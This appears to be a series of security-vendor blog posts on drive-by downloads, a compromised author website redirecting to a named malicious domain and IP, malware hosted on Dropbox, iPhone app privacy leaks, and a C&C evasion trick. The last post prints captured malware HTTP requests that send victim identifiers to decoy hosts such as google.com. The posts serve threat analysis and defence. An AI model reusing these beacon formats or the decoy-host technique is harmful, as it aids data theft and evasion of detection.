One of the things we do here at Lastline is to monitor drive-by-download attacks. These have become one of the most common and effective threats online: the idea is that attackers try to exploit vulnerabilities in user browsers and, if successful, manage to install malware on the victim machines. Afterwards, all kinds of bad things happen for the compromised machines: they most commonly become bots (or zombies) controlled by some botmasters, and start siphoning sensitive information off or sending spam.

From the point of view of an attacker, drive-by-downloads are quite simple: first, set up a malicious web site; second, wait for traffic; third, profit. Of course, attackers typically don’t just wait for traffic, but they actively try to attract potential victims to their malicious site.

An effective way of doing this is to take over a popular web site and to redirect its visitors to the malicious web site. A recent case in point happened yesterday, when, for a short amount of time, the web site of Stephenie Meyer — the author of Twilight — was compromised.

What happened at that point? 

During the time it stayed compromised, visitors to her web site received also an obfuscated piece of JavaScript code that redirected their browser to the malicious site spider.hitstrack.in (92.243.19.91):

The site was serving a number of exploits packaged in the exploit kit Crimepack, among which one targeting a vulnerability in old versions of the Java plugin (see the full Wepawet report):

The moral of this story: keep your software up-to-date and… stay away from vampires, werewolves and zombies!


Customers of our Previct tool are protected against this threat.

Forbes magazine recently published an article called Unauthorized iPhone And iPad Apps Leak Private Data Less Often Than Approved Ones. The article reports on the research we had conducted as the International Secure Systems Lab that aimed at analyzing how and where iPhone apps transmit users’ private data. In that work, we found that one in five of the free apps in Apple’s app store uploads private data back to the apps’ creators that could potentially identify users and allow profiles to be built of their activities. We also discovered that programs in Cydia, the most popular platform for unauthorized apps that run only on “jailbroken” iPhones, tend to leak private data far less frequently than Apple’s approved apps.

The tool we built is called PiOS, and is able to analyze private data leaks from iOS apps. PiOS uses static analysis to detect data flows in Mach-0 binaries, compiled from Objective-C code. Unfortunately, this is not a trivial task. In fact, it is quite challenging due to the way in which Objective-C method calls are implemented. We have analyzed more than 1,400 iPhone applications. Our experiments show that, with the exception of a few bad apples, most applications respect personally identifiable information stored on user’s devices. This is even true for applications that are hosted on an unofficial repository (Cydia) and that only run on jailbroken phones. However, we found that more than half of the applications surreptitiously leak the unique ID of the device they are running on. This allows third-parties to create detailed profiles of users’ application preferences and usage patterns.

The research ideas that lead to the PiOS tool are also enabling Lastline’s Previct to analyze phone apps and protect them againt malicious activity.

As smart phones become mainstream and become an indispensable part of our lives, we believe that this feature of Previct will be critical in protecting organizations and users against attacks.

One of the main products we develop at Lastline is the Malscape Threat Intelligence Feed, which provides continuously updated intelligence about malicious activity on the Internet. Specifically, we provide information about malicious servers on the Internet based on the various analysis techniques we have developed. Regularly, we find that legitimate services on the Internet are abused by attackers and we need to make sure that such domains or IP addresses are specifically marked by our heuristics: we typically do not want to blacklist these domains/IP addresses since this could cause unwanted side effects. A prime example of this kind of benign services are cloud storage solutions such as for example Dropbox. These services are often abused by attackers to host their malicious content (e.g., malware binaries, exploits, or helper files) in an attempt to evade common attack detection techniques.

As an example of malicious content hosted on a cloud storage, we can take a look at a recent Wepawet report. The attacker uses Dropbox to host a JavaScript file that includes an iframe to another site, which then attempts to perform drive-by download attacks based on the Help Center URL Validation vulnerability (CVE-2010-1885).

Obviously, we do not want to blacklist the domain dl.dropbox.com since it belongs to a service that is used by many people in legitimate use cases. However, to protect people on the Internet from this kind of attacks, we want to make sure that malicious content hosted on benign services is removed as quickly as possible. To reach this goal, we have established good relationships to various services and regularly send them reports about malware hosted at their site. The malicious JavaScript file from the above example was reported to Dropbox shortly after our analysis systems detected that it is malicious and within less than 30 minutes it was removed from Dropbox. Furthermore, the user and all of his/her links were banned as well, mitigating this threat efficiently.

At Lastline, we use different approaches to detect Command & Control (C&C) servers used by attackers to remotely control compromised machines. These approaches are based on diverse assumptions that we have about C&C servers. One of our methods relies on classical network signatures to describe how C&C traffic looks like. Obviously, such network signatures have drawbacks and attackers constantly try to circumvent these signatures, for example to confuse analysis systems used by security experts in the field.

In today’s example, we study one particular kind of signature evasion approach that we often see in practice. Every day, we observe network traffic that contains suspicious data (e.g., credentials stolen on a compromised machine, status reports generated by a bot, or some kind of personal info that is exfiltrated), but this data is not only sent to the actual C&C server, but also to a legitimate domain like google.com and baidu.com.

Consider the following four examples of (slightly obfuscated) HTTP requests that we observed in our analysis environment:

POST /Count/Count.asp HTTP/1.1
Accept: Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: MyApp
Host: www.baidu.com
Content-Length: 85
Cache-Control: no-cache
Mac=12-34-56-78-90-12&Os=Windows+XP&Ver=20091107&Key=...

GET /webcontroller/alive.php?key=anthonyrules&pcuser=XXX&pcname=XXX&hwid=XXX&country=XXX HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: yahoo.com
Connection: Keep-Alive

GET /webcontroller/alive.php?key=crs%2Ec0dereality&pcuser=XXX&pcname=XXX&hwid=XXX&country=XXX HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: google.com
Connection: Keep-Alive

POST /ttt.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1115
Host: www.google.com.br
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)
praquem=infect%40gmail%2Ecom&titulo=...

Note that the malware does not forge the “Host:” header, but actually sends data to web servers belonging to well-known brands. We speculate that attackers use this approach to confuse blacklists and signature-based analysis systems: if traffic is sent to a legitimate server like google.com, a (naive) assumption is that this traffic is benign since attackers typically only use such requests to test if the compromised machine is actually connected to the network. As a results, a naive method is to whitelist this kind of traffic, which would lead to a situation in which also suspicious traffic is whitelisted, thus evading the signature generation process. At Lastline, we have several mechanisms in place to prevent this kind of problems and we only flag actual C&C servers as malicious.

Note that the requests to Google and Baidu lead to actual error messages (typically a “404: Not found” or “301: Moved Permanently”  message), but these sites nevertheless receive a copy of the suspicious data contained in a request. As a result, these companies could also analyze the requests they receive and determine which of these connections belong to actual malware infections.